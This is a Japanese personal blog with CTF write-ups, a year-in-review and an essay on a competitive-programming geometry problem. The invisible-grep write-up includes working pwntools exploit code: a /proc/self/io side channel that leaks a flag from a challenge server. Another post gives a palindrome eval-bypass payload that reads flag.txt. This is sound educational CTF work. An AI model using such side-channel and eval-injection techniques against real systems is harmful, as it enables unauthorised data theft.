えびちゃんの日記

えびちゃん(競プロ)の日記です。

Writeup for invisible-grep, Daily AlpacaHack B-SIDE 2026/2/9

タイトルの命名規則をどうするか悩んでいます。

Daily AlpacaHack B-SIDE 2026/2/9–2026/2/12 の write-up です。

むずかし〜〜。「A-SIDE の Hard を解いて調子に乗っていたえびちゃんを怖がらせましょう」か?みたいな気持ちで一日過ごしました。

B-SIDE はロゴがオサレでとても好きです。

やったことたち

① timing attacks

まず、“avoid timing attacks” と書いてありますが if "Alpaca" in line else None のところで処理に差自体はあるため、どうにかなる可能性はありうるか?と思いました。 ですがそもそも通信環境側の影響の方が大きく、とても現実的ではなさそうでした。 たぶん、たぶんですが、この方針で非常にがんばることで timing attacks を成功させるという想定で Very Very Hard を謳う思想の企画ではなさそうだよなと思ってこの方針は違うだろうなと思いました。

"flag.txt" "" を入力して下記の行が消えているのを見て、「たしかにそうなるか〜」と思ったりしましたが、あまりこれを使えそうな気はしませんでした。

            print(line, file=FLAG_EATER if "Alpaca" in line else None)

② /proc/self/mem

さて、flag.txt を読みつつ "Alpaca" in lineFalse にできたらうれしいなという気持ちになり、次のような方針を考えました。

  • 何らかの方法で flag.txt を上書きして、*lpaca{...} のような文字列に変える
  • 何らかの方法で flag.txt を途中から読み、lpaca{...} のような文字列を読むようにする

どちらも flag.txt を読むだけだとつらそうで、可能性があるとすれば、一度 flag.txt を読んだ後にメモリのどこかしらをどうにか読み書きするような策を考えるとかになるかなと思いました。

memo: この時点で、FLAG_EATERDUMMY_EATER のどちらの fd を通して /dev/null に書き込んだか追えればうれしそうだよなという気持ちはありましたが、大変そうな気がしたので一旦後回しにしました。

CPython の実装はわかりませんが、fopen のような機構を使っているのであれば heap 領域にファイル読み書き用のバッファを設けていた記憶があるので、"/proc/self/maps" "[heap]" を指定してアドレスを見たりしました。ASLR の bypass はできるね〜という気持ちになりましたが、「で?笑」となりました。

/proc/self/mem を読もうとしましたが OSError: [Errno 5] Input/output error が出たので微妙そうです。seek 的な操作もできなさそうなので、あまり深追いしてもだめそうな気がしました。 適当に /dev/random とかを読もうとしてみると UnicodeDecodeError: 'utf-8' codec can't decode byte 0x9f in position 3: invalid start byte が出たので、メモリ上を適当に読めたとして UTF-8 として有効なバイト列ではないとだめという制約もあり、(読めたとしても)詰めるのが大変そうな気がしました。

③ /dev/**

flag.txt を直接読んでも意味がないですし、/usr/share/dict/words(などの普通のテキストファイル)も無意味そうで、読んでどうにかなりそうなファイルといったら /dev/** か /proc/** の 2 択だろうということで、一旦 /dev の方から試そうと思いました。

    content = open(file or EXAMPLE_FILE).read(0x10000)

この部分で open() したものを close() していない(with 構文も使っていない)ので、/dev/fd/5 とかを読むことでどうにかなるかな?と思いました。 しかし、"flag.txt" "" を入れてから "/dev/fd/5" "" などを入れてみても FileNotFoundError: [Errno 2] No such file or directory: '/dev/fd/5' と出ます。 /dev/fd/{3,4} を読むと無が返ってきましたが、/dev/fd/{0..2} を読もうとすると OSError: [Errno 6] No such device or address: '/dev/fd/0' のようなエラーが返ってきました。

このへんは socat の都合? あまりわかっていませんが、socat 側を読もうとしたらなにか発見があるかなと思って /proc/1/fd/0 や /proc/1/maps などを見ましたが、あまり実りはありませんでした。

FLAG_EATERDUMMY_EATER がそれぞれ /dev/fd/3 と /dev/fd/4 に相当すると思うので、open() したら /dev/fd/5 ができていてほしい気持ちになり、実験しました。

nobody@ec54248b6ec3:/app$ python3 -c 'import os; open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))'
#> ['0', '1', '2', '3']

nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))'
#> ['0', '1', '2', '3', '4']

どうやら、そのまま読み捨てると /dev/fd 配下には残らないようです?

nobody@ec54248b6ec3:/app$ python3 -c 'import os; _1 = open("/etc/bash.bashrc"); _2 = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))'
#> ['0', '1', '2', '3', '4', '5']

nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); _ = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))'
#> ['0', '1', '2', '3', '4']

nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); _ = open("/etc/profile"); print(os.listdir("/dev/fd"))'
#> ['0', '1', '2', '3', '4']

同じファイルでも別の変数に入れれば fd は増えるとか、変数を上書きした場合は fd は消えるとか、そういうことを試しました。

nobody@ec54248b6ec3:/app$ python3 -c 'import os; _1 = open("/etc/bash.bashrc"); _2 = open("/etc/bash.bashrc"); print(_1.fileno(), _2.fileno(), os.listdir("/dev/fd"))'
#> 3 4 ['0', '1', '2', '3', '4', '5']

os.listdir() を使った場合も、そのディレクトリに相当する部分で fd が使われている?ぽい?

などを試しましたが、結局のところ grep.py において fd が増えないことがわかり、困ったな〜となりました。

実験の過程で、 grep.py を次のように変更していました。

@@ -1,8 +1,13 @@
+import os
+
 EXAMPLE_FILE = "/usr/share/dict/words"
 FLAG_EATER = open("/dev/null", "w")
 DUMMY_EATER = open("/dev/null", "w")
 
 while True:
+    print(os.listdir("/proc/self/task"))
+    print(os.listdir("/proc/self/fdinfo"))
+
     file = input(f"File (Default: {EXAMPLE_FILE}, Flag: flag.txt): ")
     pattern = input("Pattern: ")
     content = open(file or EXAMPLE_FILE).read(0x10000)

④ /proc/self/maps, [heap]

(いや〜〜わからんという気持ちは常にあり、適当な timing attacks の誘惑に何度か駆られましたが、割愛します。)

結局、FLAG_EATER を通して write をした場合と DUMMY_EATER を通して write をした場合とで何らかの差異を見つけるくらいしかないでしょうということになってきます。

  • /proc/self/fdinfo/{fd} 的な機構で、それに対して最後に write した日時が書いてある場所が存在することを祈る
  • 書き込みで何らかの方法でバッファリングされている前提で、heap 領域の拡張などが発生することを祈る

みたいなことが思い浮かびますが、前者に関しては調べた感じだと存在しなさそうでした。

ということで、後者に関してローカルでがちゃがちゃします。

experim.py

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


p = nc("nc localhost 1337")


PROMPT_1 = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
PROMPT_2 = b"Pattern: "


def get_maps():
    res = ""
    p.sendlineafter(PROMPT_1, b"/proc/self/maps")
    p.sendlineafter(PROMPT_2, b"")
    while True:
        line = p.recvline().decode()
        res += line
        if "[vdso]" in line:
            break

    return res

p.sendlineafter(PROMPT_1, b"")
p.sendlineafter(PROMPT_2, b"")

s = ["Al"] * 10000  # 200
# s = ["Al"] * 100 + ["X"] * 10000  # 300

maps = ""
for i in range(10000):
    print(f"{i}\r", end="")
    p.sendlineafter(PROMPT_1, b"flag.txt")
    p.sendlineafter(PROMPT_2, s[i].encode())

    tmp = get_maps()
    if maps != tmp:
        print(f"=== {i} ======")
        print(tmp)
        maps = tmp
        if i > 0:
            break

どうやら、全部の出力が FLAG_EATER に行ったときと、両方の eater に行ったときで heap の広がり方に違いがありました(!)。 具体的には、どちらかの eater が 201 回目の出力をしたときに heap が広がっていそうで、FLAG_EATER に出力し続けると 201 回目に heap が広がりました。 一方、FLAG_EATER に 100 回出力してから DUMMY_EATER に出力し続けると(全体としては)301 回目に heap が広がりました。 差異が出たときには「wow〜〜」という気持ちでした。

ということでこの方針で exploit を書いたのですが、本番サーバに対してはうまくいきません。 さっきの実験で grep.py を変えたときの差分が本質か?ということで戻してみたところ、ローカルでもうまくいかなさが再現したので、「お前〜〜」となり revert しました。

とはいえ、概ね方針としてはこういう感じでいけるだろうという確信ができてきました。

memo: /usr/share/dict/words を読むと heap size が 0x30000 大きくなったり、2 回連続で読むと計 0x60000 大きくなったり、その後 flag.txt を読むと元に戻ったりすることなども観測しましたが、あまり実りはなさそうに感じました。

⑤ /proc/self/io (1)

ここからはもうめちゃくちゃで、/proc/self/* を全部試します。

/proc/self/environ を見てニヤニヤしたり(実りがない)、/proc/self/stat の utime の項目から timing attacks ができないか(結局それ?)とか、そんなことをしていました。 そんな中で一際輝いていたのが /proc/self/io です。

File (Default: /usr/share/dict/words, Flag: flag.txt): /proc/self/io
Pattern: 
rchar: 33802
wchar: 64
syscr: 30
syscw: 2
read_bytes: 0
write_bytes: 0
cancelled_write_bytes: 0

File (Default: /usr/share/dict/words, Flag: flag.txt): /proc/self/io
Pattern: 
rchar: 33913
wchar: 224
syscr: 34
syscw: 4
read_bytes: 0
write_bytes: 0
cancelled_write_bytes: 0

どうやら読み書きに応じて値が変わってくれるようです。各項の説明は proc_pid_io(5) に書いてあります。 ということで、次のように入力をして rchar の値を比較することで flag.txt のサイズを得ることができます。

  • "/proc/self/io" """flag.txt" "" × 1 → "/proc/self/io" ""
  • "/proc/self/io" """flag.txt" "" × 2 → "/proc/self/io" ""

前者は 33802 → 33941、後者は 33802 → 33969 でした。33969-33941 = 28 であることと、b"flag.txt\n" b"\n" で 10 bytes 読んでいること、flag.txt の末尾には改行文字が含まれているであろうこと(少なくとも配布ファイル的にはそう)から、結局 flag format は Alpaca\{[a-z_]{9}\} であろうと突き止められます。

この時点で頭がおかしくなっていたので、9 文字の単語を考えて Alpaca{minaminao} Alpaca{invisible} などを適当に提出しましたが当然不正解でした。そもそもこれが正解だったら flag format が Alpaca{[a-z_]+} ではなく Alpaca{[a-z]+} だろ〜という気持ちになりました。そこか?

あと 9 文字程度だったら timing attacks でどうにかなるんじゃないか?と思いました。なる気はしていません。

⑥ /proc/self/io (2)

気を取り直してがんばります。今度は wchar の方に着目します。

"/proc/self/io" """flag.txt" "" × n → "/proc/self/io" "" のときの wchar の増分を表にします。

n Δwchar
1 224
2 288
10 800
100 6560
1000 64160
10000 763279

1 回あたり 64 ずつ増えるのかな?という見た目をしています。これは b"File (Default: /usr/share/dict/words, Flag: flag.txt): " b"Pattern: " のバイト数に等しいです。 ですが、n = 10000 の行が明らかにおかしいです(偶奇からすぐわかる)。 /dev/fd/3 を通しての /dev/null への書き込みがバッファリングされていて、1000 と 10000 の間のどこかで flush されているのだろうと推測できます。

ということで二分探索などをして、境界値を次のように絞り込みます。

n Δwchar
7293 466912
7294 466976
7295 467040
7296 590229
7297 590287
7298 590351

よって、flag.txt の内容を 7296 回出力すると、wchar の値からその事実を読み取れそうです(たぶんこの辺はバッファサイズやバッファリングの実装方式の都合だと思いますが、詳細は調べていません)。

⑦ SOLVED!

ということで、祈りつつ仕上げです。

  • ("flag.txt" "A") × 7295 + ("flag.txt" "B")
  • ("flag.txt" "A") × 7296

これらを与えたときで、Δwchar に差異があれば勝ちです。 実際に試すと、前者は 467104 で、後者は 590223 となりました(前者は 467040 + 64 であることがわかりますね)。ということで、次のような方針でフラグを得られそうです。

  1. abcdefghijklmnopqrstuvwxyz_{} の中から、フラグに含まれる文字を特定する
    • 別にここはやらなくてもいいが、探索空間を狭められるため
  2. 1. で特定した文字集合を使い、"A" から始めて 1 文字ずつ特定する
    • "Alpaca{" から始めてもいいがなんとなく

exploit.py

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


PROMPT_1 = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
PROMPT_2 = b"Pattern: "


def get_wchar(p):
    p.sendlineafter(PROMPT_1, b"/proc/self/io")
    p.sendlineafter(PROMPT_2, b"")
    p.recvuntil(b"wchar: ")
    return int(p.recvline())


def contains(s):
    p = nc(NC)
    w1 = get_wchar(p)
    payload = (f"flag.txt\n{s}\n" * 7295 + "flag.txt\n@\n").encode()
    p.send(payload)
    w2 = get_wchar(p)
    p.close()
    return (w2 - w1 - 224) % 64 == 0


flag_chars = "abcdefghijklmnopqrstuvwxyz_{}"

NC = "nc 34.170.146.252 32376"

tmp = ""
for c in flag_chars:
    if contains(c):
        tmp += c


flag_chars = tmp
print(f"{flag_chars = }")

flag = "A"
while True:
    for c in flag_chars:
        if contains(flag + c):
            flag += c
            print(f"+= {c}")
            break
    else:
        break

print(flag)

以上により、フラグ Alpaca{busy_blue} を得られました。えびちゃんは存じ上げないのですが、調べた感じはなにかの曲名ですか? あるいは他に由来があるのかもしれません。おそらくは頭文字が B-SIDE とも掛かっているのかなという気がして、オサレさを感じていました。

所感

毎度ながら問題を作るのが上手だなあと思いました。

/dev/null に流すと「消える」みたいに言われがちですが、syscall を呼び出す側の者からするとその他のファイルと区別がつかない(はず?)ので、プログラム側では /dev/null 用に特殊なことをできるわけがないよなあとか、そういうことをちゃんと考えると解けるようになっていて面白いと思いました。もしかしたら別の解法もあるのかもしれません? あるのかな。

C とかのレイヤーのものはしばしば調べたりしていたのですが、CPython の open(), print() などについても気になりました。あと、これは前からですが /proc や /dev についても調べたいなと思っています。

その他

twitter.com

You saved my day (and streak)!

でも早めに streak を切っておかないと後々苦しめられる日々が来ます。wafflegame を 1000 日くらい続けたえびちゃんが言います。 2025/12/5 の Integer Writer で沼っていきなり脱落していた世界線もたぶんあり得ました。

おわり

おわりです。

Writeup for destructuring, Daily AlpacaHack 2026/2/11

Daily AlpacaHack 2026/2/11 の write-up です。

alpacahack.com

最初は下記のようなコードで解きました。

solve.py

import re

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


p = nc("nc 34.170.146.252 25646")


def prettify(j):
    j = j.replace("[,", "[0,")
    j = j.replace(", ,", ", 0,")
    j = j.replace(", ,", ", 0,")
    j = j.replace(", ]", ", 0]")
    j = j.replace("_", "")
    return re.sub(r"([a-z])", r'"\1"', j).strip()


for _ in range(5):
    p.recvuntil(b"Stage: ")
    _ = p.recvline()
    line = p.recvline().decode().strip()
    j = re.fullmatch(r"const (.+) = json;", line).group(1)
    j = prettify(j)
    p.sendlineafter(b"json> ", j.encode())

.replace(", ,", ", 0,") を単に 1 回だけ使うと [1, , , , 2] のような入力を [1, 0, , 0, 2] にしてしまい、うまくいきません(置換の範囲が overlap してしまうため)。 2 回行えばうまくいくのがちょっと面白いなと思いました。正規表現でがちゃがちゃやるのも考えたのですが、あんまり頭を使いたくなかったので。 入力において空白がぐちゃぐちゃになったりしておらず、優しいなと思いました。

一度解いてしばらくしてから、次の解法に思い至りました。そもそも JavaScript では {a: [, , { b: _0, c: [{ d: _1 }] }] } のようなパターンを書けるという前提が教えられているわけで、餅は餅屋、JavaScriptJavaScript 屋です。

// Welcome to Node.js v24.13.0.
// Type ".help" for more information.
> {a: [, , { b: 0, c: [{ d: 1 }] }] }
{ a: [ <2 empty items>, { b: 0, c: [Array] } ] }
> JSON.stringify({a: [, , { b: 0, c: [{ d: 1 }] }] })
'{"a":[null,null,{"b":0,"c":[{"d":1}]}]}'

ということで、node に食わせればそのまま整形までやってくれそうです。

solve.py

import re
from subprocess import PIPE, Popen

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


p = nc("nc 34.170.146.252 25646")


def prettify(j):
    p = Popen(["node"], stdin=PIPE, stdout=PIPE)
    j = j.replace("_", "").strip()
    stdout, _ = p.communicate(f"console.log(JSON.stringify({j}));".encode())
    return stdout.decode()


for _ in range(5):
    p.recvuntil(b"Stage: ")
    _ = p.recvline()
    line = p.recvline().decode().strip()
    j = re.fullmatch(r"const (.+) = json;", line).group(1)
    j = prettify(j)
    p.sendlineafter(b"json> ", j.encode())

p.recvuntil(b"Here's your flag: ")
print(p.recvline().decode())

以上です。Alpaca{the_notation_is_pretty_intuitive_IMO} 👏

今年のえびちゃん 2025

今年もやってみます

rsk0315.hatenablog.com

2025 年に居残りしているえびちゃんが書いています。書き終わったらまた年末年始休暇をやりたいですね。

今年書いたもの

人々に読んでもらいたいものは ⭐、自分でも何度か読み返しているお気に入りのものは 💕 をつけています。 9–11 月は別のことをしていてあまり書いていないみたいでしたが、それより前は結構たくさん書いていたみたいでした。 浮動小数点型関連がたくさんありますね。

低レイヤ寄り

浮動小数点型関連

競プロ

ポエム

今年がんばったもの

競プロ

rsk0315.hatenablog.com

今年としてカウントしちゃいます*1。くるくるくるりんを AC しました。この点においては tourist にも勝っていると言っても過言ではない。でもやってって言ったら 30 分くらいで AC してくれそう(?)

他にも MHC の T シャツを入手したり、PAST で満点を取ったりしました。

CTF

AlpacaHack でいろいろ解きました。pwn では kvstore などの heap 問を解いたり、rev では fvmx87 系の命令を勉強したり、pytecodepickletools を勉強したりしました。

各ジャンルについて、kernel (pwn), heap (pwn), admin-bot (web), AES (crypto), LLL (crypto), Windows (rev) がまだまだなのでがんばりたいです。

Daily AlpacaHack は今のところ毎日こなせています。基本的に数分ペースで解けるので楽しいです。

ラテン語

ラテン語は、えびちゃんが大学生のときに講義があったのですが(定員とか時間枠とか必修科目との兼ね合いで)履修できず、卒業後に再燃していたものでした。

最近は Gauss の Disquisitiones Arithmeticae を読んでいます。合同式について書かれていて面白いです。 言い回しについても「こうやって言ったんだ〜」と思いながら読んだり、「こういう記号の使い方するんだ〜」と思いながら読んだりしています。 $a^2$ の代わりに $aa$ と書くのを好んでいたり、昔のフォントでは $\beta$ が 📞 みたいな形だったり、$+$ が横長だったり、$\lt$ が $\mathrm V$ を横に回転させたやつっぽかったり、そういう面白さもあります。

証明に関する言い回しとしては、“manifestum est” (it is obvious) とか “nullo negotio perspicitur” (it is perceived with no trouble) とか “facile possunt inveniri” (they can be found easily) などを見ました*2。 また、背理法の最後には Q.E.A. (quod erat absurdum) と書いていたり、Q.E.F. とか Q.E.P. とか Q.E.S. とかの用例も見つかりました。

このへんの話も別で記事を書くかもしれません。

ツイート振り返り

twitter.com

リステップとチュウニズムのコラボ、とてもよかった。常設譜面になってくれてうれしい。

twitter.com

お誕生日ぱふぇを食べました。 去年のお誕生日にはクレミアを食べました。来年はなにを食べようかしら。

twitter.com

お誕生日スィーツ(別にお誕生日ではない)を食べました。

twitter.com

NandGame をやっていましたね。

twitter.com

ふわ玉肉炒飯ちゃんでした。

twitter.com

0.1 + 0.2 != 0.3 の話題が出てくるたびに思い出したい。

twitter.com

12 周年おめでとう。

twitter.com

🤔

twitter.com

まぐろのレアかつ膳ちゃんでした。

twitter.com

インターネットをやめましょう。

twitter.com

環ちゃんの新衣装ありがとうございます。

twitter.com

めちゃむずかった気がするけど宣誓センセーションよりノーツ数は少ないらしいです。宣誓センセーションもめちゃむずかったはずなのに、今ではすっかり実家になってしまっています。 懐古厨なので宣誓センセーションの HARD で苦しんでいた時期を何度も思い出しています。

よかったもの

shop.rst-project.com

shop.rst-project.com

LoF -daybreak-/-twilight-、とてもよかったです。 遡行的インサイドが異彩を放ちすぎている。遡行的インサイド自身が出過ぎた杭すぎる。 12/31 発売で 12/25 お届け予定で 12/20 にお届けされるの、時空の歪みを感じます。

www.youtube.com

www.youtube.com

向こうの記事でも紹介した来栖りんさんです。

抱負

  • くるくるくるりんのちゃんとした解説記事を書く
    • 需要のなさに惑わされない
  • ゲテ問を解く
  • ラテン語の読書をする
  • CTF をする
  • 他にやりたいことができたらそれをする
    • 当初やりたかったことができなくてもあんまり責めない
    • 圏論の誘惑は常にある

よいおとしを

これでえびちゃんも 2026 年に行けます。

*1:2026 年の振り返りをするときは 2026 年としてカウントします。当然ですよね。

*2:現代における「明らか」「自明」枠を紹介しましたが、もちろんちゃんとした証明の文も書かれてあります。

Writeup for Daily AlpacaHack 2026/1/6

Daily AlpacaHack 2026/1/6 の write-up です。

alpacahack.com

まず、#コメントアウトするのが想定解なんだろうと思います。

>>> s = 'print(1+2)#)2+1(tnirp'
>>> assert s == s[::-1]
>>> eval(s)
3

以降は、# を(というかコメントの類の機構を)縛った解法について考えてみます。

Python では*1文字列リテラルを並べて書くことで連結できます (ref)。

>>> assert 'a'"b" == 'ab'

また、f-string (ref) というものがあり、{} 内の式を実行時に評価したものを文字列中に含めることができます。

>>> f'{1+2}'
'3'
>>> f'{print(1+2)}'
3
'None'

前者では 1+2 の値が文字列として得られています。後者では 1+2 の値を出力し、それはそれとして print() の返り値の None が文字列として得られています。 REPL、このへんが若干 confusing で、初心者時代に勘違いしたような記憶があります。

>>> 1+2
3
>>> print(1+2)
3
>>> None
>>> print(None)
None

さておき、"" f"{...}" "}...{" f"" を考えます。"}...{"f-string ではなく STRING であるため、中身がぐちゃぐちゃになっていても問題ありません。また、間を詰めると回文になっていることに注意します。

よって、前半が ""f"{print(1+2)}" となるようにして後半を合わせると次のようになります。

>>> s = '''""f"{print(1+2)}""})2+1(tnirp{"f""'''
>>> s
'""f"{print(1+2)}""})2+1(tnirp{"f""'
>>> assert s == s[::-1]
>>> eval(s)
3
'None})2+1(tnirp{'

print() される内容は 3 のみで、'None...' の部分は REPL 上で見えているだけの値です。 あとは、print(open('flag.txt')) を呼ぶようにすればよいですね。

from pwn import *

p = remote("34.170.146.252", 34185)

s = "{print(open('flag.txt').read())}'"
s = f'''""f"{s}""{s[::-1]}"f""'''
assert s == s[::-1]

p.sendlineafter(b"> ", s.encode())
print(p.recvline(drop=True).decode())

以上です。author の想定別解はこれから読みます。

github.com

*1:他にも C 言語でも同様のことができます。

くるくるくるりんを AC しました

くるくるくるりんという問題があります (AOJ / AtCoder)。 その昔は幾何のボス問*1として有名でしたが、最近の人々の間にはあまり知られていないのかもしれません。

背景

2013 年の JAG 夏合宿 Day 3 の ++w と negainoido による問題セット で J 問題として出題された問題です。 有志合宿の解説スライドには writer・tester の名前とコード長を載せる慣習があった*2のですが、この問題の 解説スライド には下記の記述があります。

平原(276行, C++)
林(395行, C++) (途中で挫折)
生田(425行, C++) (途中で挫折)
大橋 (アメリカへ国外逃亡)

これがこの問題のやばそうっぽさを後押ししている気がします。

道のりと雑談

えびちゃんが大学生の頃に所属していた競プロサークルでは、卒業までにくるくるくるりんを解きましょうという圧がありました*3。 えびちゃんが調べたところでは、サークル内では Darsein さんと syl659 さんの 2 人しか解いておられないようでした(えびちゃんを除いて、そもそも全体でも 6 人しか AC していない)。

そういう刷り込みがあったので、「結局 例に漏れず 解く前に卒業しちゃったな」「いつかは解きたいな」と思い続けたまま過ごしていました。 解こうとして挫折するのを繰り返していましたが、2 ヶ月くらい前に解こうとまた思い立ち、まずは幾何の本[1] を読みました。 元々は幾何の文脈というよりは、データ構造の文脈で読もうとして数年前に入手した本だった気がします。5 章に kd-trees, fractional cascading が、10 章に interval trees, priority search trees, segment trees が載っています。

幾何関連のデータ構造といえば、cs166.1216/11 などに載っているものたちも興味深いです。このシリーズの講義資料は、元々 van Emde Boas tree(当時の競プロ界隈では謎木と呼ばれていました)を調べていてたまたま見つけた cs166.1146/14 をきっかけに読むようになりました。 競プロ界隈ではあまりメジャーでないようなトピックについても触れられていて面白いです。英語ではありますが、わかりやすい図がついているので人々にもおすすめです。vEB 木といえば Erik Demaine 氏の講義 も観ました。このシリーズも面白いと思います。

競プロ界隈ではない計算幾何学アルゴリズムは平衡木を当然のように使う印象があります。 C++ などの多くの言語の標準ライブラリで用意されているインタフェースでは足りない状況も多く、とりあえず自前で実装する必要があるため、ハードルが高くなっているような気がします。 幾何の定番高速化手法に平面走査と呼ばれるものがあり、それに添えられるデータ構造として(その問題ごとにアレンジした)平衡木が使われがちだと思います。

さて、本を読んだあとは AOJ の幾何の問題を埋めようとなりました。 AOJ の 問題検索 で Geometric Algorithms を上から解いていきました。 ねこまっしぐら も解きました。ねこまっしぐらは ICPC で幾何担当の人はみんな解いているような精進問だという印象があったのですが、別にそんなことはなさそうでした。しばしば話題に出ていたような記憶があったのですが、40 人も解いていませんでした。 Monster Trap は当時のチームメイト (TAB) が解いているのを見ていた記憶がありますが、これも 20 人程度しか解いていないようでした。実は幾何ってあまり解かれていない?

そんなこんなで順に解くのも飽きてきて、「もうくるくるくるりんやってよくない?」という気持ちになり、11 月末くらいにくるくるくるりんに取りかかり始めました。 デバッグの際にケースをおててで図示するのが嫌だったので、まず matplotlib でビジュアライザを書きました。 matplotlib のドキュメントは、“Switch to stable version” のボタンを何度押しても “This is documentation for an unstable development version.” と出てくるので不安な気持ちになります。

昔の初見のときはどこから手をつけたらいいものかわからず、他の人から「なんやかんやあって Dijkstra に帰着できる」という話は聞いていたものの、「なんで?」という感じでした。 前述の幾何の本の 15 章に可視グラフの話や回転なし版くるくるくるりんにあたる話が載っていたため、解説スライド p. 5 相当の話はわかるようになりました。 そのあたりがわかっていると、その後の方針は比較的スムーズに立つ気がします。各種判定などの細部についてはきちんと考える必要はあります。

12 月中の土日はあまり幾何の実装に集中できる感じではなかったので、年末年始に集中してやろうということで別のことをしていました。 CTF をしていたような気がします。結局ちゃんと始めたのは 12/29 だったと思います。 ビジュアライザを使いつつサンプルとにらめっこしながらうんうんやっていましたが、サンプルが通ったあとは比較的スムーズに AC までできました。

ギャラリー

twitter.com

1 週間ちょい早く解いてたらこのツイートにカウントされることができたと思うと悔しい。

twitter.com

新年初 AC がこれ。縁起がよろしいです(?)

twitter.com

writer ご本人様によるアニメーションを見つけました。テストケース名が maximum のケースに相当するものに見えます。 チーム一覧 を見つつ調べるに、writer 陣は tailed さん、flowlight さん、atetubou さん、Amylase さんなのかなと思います*4

twitter.com

この文脈ではないくるくるくるりん🎀✨のまりあ様🪡🐈‍⬛🐾です。

参考文献

あとがき

「やらない善よりやる偽善」という言葉もありますが、やるだけを実際にやるのは大変なことだなあという気持ちになりました。

や、くるくるくるりんをやるだけと呼ぶかは議論の余地があると思います。「やるだけ」というのは「やることが明らかで、すぐ済む程度のもの」であって、「やることは明らかだが、何らかの面倒さがある」は含まないような気がします。この手のやつを指すときは「がんばる」とか「苦行」とかの方が近いかも? 考察パートが重くないという部分は共通している気がします。 でも syl659 さんは「くるくるくるりんはやるだけ」と言っていた気がするし、やっぱりやるだけなのかもしれません。大抵の構文解析はやるだけという言説もありますし、多少の面倒さがあってもやるだけに含まれるかも。

苦行ではあるなぁという気持ちはあるものの、人間向きではないみたいな風潮はちょっと過剰なんじゃないか〜?という気持ちになりました。 みんなに解くのを勧めようとも思わないですが、わざわざ避けようとするのも違うんじゃないかというところです*5。 「定数時間 select の簡潔データ構造くらい実装しようとしてみてもいーんじゃない?」とか言っているのと似ていますね。 とはいえ、「ICPC 参加資格がある学生の間」といったような時期は優先順位も大事になってきますから、各々がやりたいものをやるのがいいと思います。

たしかねこまっしぐらを解こうとしていたときの話ですが、可視グラフ (visibility graph) についてググろうとしたとき、グラフ (chart) を用いてデータを可視化しようとしているページがたくさん出てきて嫌な気持ちになりました。あとがきを書きながら再度ググったら比較的マシな感じになっていてうれしいなとなりました。

そういえば、あとがきを書きながら気づいたのですが、くるりんさんは少し名前が似ておられます。かわいいねこ耳お姉さんです。

www.instagram.com

元ネタのゲームの 説明書紹介ページ実況プレイ動画 などを初めて見ました。 線分と見なしていたヘリリンにもちゃんとグラフィックがあるんだなぁとなりました。 もしかして元ネタでは常に回転していますか?

ここ数年は、やらなきゃと思ってやらずにいたことを回収するのをメインでやって(いるという気持ちで過ごして)いて、これもそのひとつですね。 こちらを優先したかったので、例年やっていたその年の振り返り記事を 2025 年は書きそびれてしまいました。 やりたいことはまだまだあるはずですが、少し燃え尽き気味のえびちゃんになるかもしれません。そうなっても自分を責めないであげたいですね。

やらなきゃと思っていることの中には「インターネットで有名なシーンがある漫画を読む」なども含まれていて、何ヶ月か前にデスノートを読みました。ジョジョとかも読みたいなと思っています。 TL を眺めていると「號奪戦の間合いですよ」とか言っているツイートがふと目に入って「また嘘喰い読むか〜」となってしまいます。 誘惑に負けないことが重要だったり、適宜負けてみることが重要だったりする気がします。

rsk0315.hatenablog.com

2024 年の振り返り記事を読み返してみて懐かしい気持ちになったので、遅ればせながら 2025 版もやっぱり書こうかなと思いました。 「昨日が 2025 年で今日が 2026 年だったから明日は 2027 年」ではないですが、この時期に 2024/12/28 と見るとどのくらい前のことか一瞬わからなくなりますね。 2026 年の抱負もいっしょに書こうかなぁと思います。

おわり

起き正月になってしまう。早めに寝ます。

*1:苦行? 実装がんばる問?

*2:最近は AtCoder などの ID が載っていることが多いですが、当時は名字がメジャーだったような気がします。

*3:今思うと別にそんなことはなかったような気もします? 冗談でそう言われていたことはしばしばあったような気がします。

*4:色は出題当時の SRM のもの。

*5:最近の人は単に知らないだけというところが大きそうですが。

AtCoder で伸び悩んでいる人々を見て思うところ (2025/12)

思うところがあるので書きます。

qiita.com

直近で見たのはこの記事ですが、こうした内容はあまり珍しいものではなく、むしろ比較的よく見てきたものに思えます。 改めて探そうとしてもなかなか見つからなかったのですが、見た記憶がありますというのを信じてもらうことにします。

本題

しばしば見てきた取り組み方について、「こういうのを見てきたよ」「こうした方がいいと思うよ」というのを挙げていきます。

人によって前提知識やレベル帯、主に数学への慣れなどは違うでしょうから、「こうした方がいいと言われても困る」というのもあるとは思いますが、できるところからこつこつ身につけていくといいんじゃないかなぁくらいの気持ちで書いています。

問題文の読み方

問題の内容を理解しないうちから「まず入出力例から見る」といった癖がある人はそれなりに多くいると思います。 入出力例(や説明文)を見てなんとなく「こういうことだろう」と予想してから問題文を読むのは、思い込みや誤読の原因になりがちですし、あまりよくないだろうと思っています。

とはいえ AtCoder の問題文は数学数学しすぎな感があり、たとえばあまり数学に慣れていないプログラマが「競技プログラミングというものがあるらしい、やってみよ〜」と思い立って読むとぎょっとしそうとは思います。直近だと ABC 436 B とかがその類な気がします。

コンテスト中の読み方についてとやかく言う気はあまりないですが、少なくとも復習のときには問題文を丁寧に読む訓練をするのが AtCoder(に限らず、競プロやアルゴリズムのお勉強)に慣れていく上では重要だと思います。

記号がたくさん出てきて読みにくいときには、(インタフェースとして)入出力形式を見ると整理しやすい気がします。

知らない記号・用語・概念が出てきたときは Google などで調べつつ覚えていくのがいいと思いますが、検索して上位に出てくる記事が一般的でない定義を採用している(例:部分文字列)ことも考えられるので、どうしたものかなと思っています。最近だと問題文中に補足がある場合が多いので、それを読むのがいいと思います。

